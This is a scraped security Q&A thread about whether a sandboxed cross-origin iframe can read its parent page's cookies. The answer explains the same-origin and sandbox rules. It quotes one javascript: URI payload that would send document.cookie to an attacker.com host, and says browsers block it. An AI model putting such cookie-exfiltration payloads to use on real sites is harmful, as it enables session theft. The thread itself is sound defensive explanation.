15

I have this html code that I may put on my site that we are evaluating for security purposes. It's code is essentially this:

<iframe src="https://glenpierce.github.io/" sandbox=
"allow-scripts allow-same-origin allow-top-navigation allow-forms allow-popups allow-pointer-lock allow-popups-to-escape-sandbox">
</iframe>

My objective is to write something on glenpierce.github.io that will read the cookies of the parent of that iframe and print them to the console to prove that this iframe has access to the parent's cookies if these flags are set. So far, I haven't been able to in Chrome 65 using document.cookie or parent.document.

I am well aware that this is insecure and there are other reasons for not allowing these flags, but I am specifically interested in proving that I have access to the parent's cookies (and/or local storage).

Anders
  • 64,406
  • 24
  • 178
  • 215
Glen Pierce
  • 567
  • 1
  • 3
  • 9

1 Answers1

23

First thing to note is that iframes (by default) don't act like they're part of the same origin, unless they are. If the iframe origin (in the src attribute) and the parent origin differ, the iframe will always be sandboxed from the parent. This imposes a bunch of restrictions, like being just unable to access most properties of the window.parent object.

You can make a same-origin iframe have the same kinds of restrictions as cross-origin iframes[1] by using the sandbox attribute. The values of the sandbox are exceptions to the sandbox attribute, not to the iframe security model in general. Thus, allow-same-origin doesn't make a cross-origin iframe act like it's same-origin to the parent page; it merely lets a same-origin iframe do the same-origin stuff that it could have done if it weren't sandboxed. If the parent and iframe are cross-origin, no amount of allow-same-origin or allow-top-navigation will fix that.

For iframes that are actually same-origin and are either not sandboxed or have the allow-same-origin sandbox attribute value, window.parent.document.cookie will let you set or read (non-HttpOnly) cookies.

One approach that you might expect to work cross-origin is top navigation. Even cross-origin iframes can, if not sandboxed (or if the sandbox has allow-top-navigation), set (but not get) the URL of their parent. You might think this would let you do something like this: parent.location.href="javascript:window.location.href='https://attacker.com/?cookie=' + document.cookie" If that succeeded, it would execute javascript in the context of the parent page, and exfiltrate that page's (non-HttpOnly) cookies.

Fortunately, browser developers are wise to that sort of trick. An iframe (that is allowed top navigation) can point the top page at many things, but a javascript: URI is not one of them.

Allowing untrusted iframes to do top navigation is still dangerous, of course. They may not be able to leverage it to inject script or steal cookies (not without an injection vulnerability, such as an XSS), but they can do things like navigate the user to a look-alike URL that displays the same content but is actually a phishing site, for example.

Of course, that doesn't exfiltrate the cookies, merely reveal that they're readable, but it's a way to exploit allow-top-navigation

[1] And then some; the more extreme restrictions are stricter than the default cross-origin restrictions. This means that sandboxing cross-origin iframes isn't necessarily redundant. For example, cross-origin iframes are by default allowed most forms of top navigation and running scripts that don't try to interact with the window.parent object, but you can block those with sandboxing.

CBHacking
  • 40,303
  • 3
  • 74
  • 98
  • I was going to say that you can use the "seamless" attribute on the iframe to access the parent cookie but it has been removed and is not supported anymore in any browser. If you want to explore the topic see this article for some more examples: https://steemit.com/security/@gaottantacinque/steemit-security-check-iframe-tricks – Gabe Jun 16 '18 at 06:19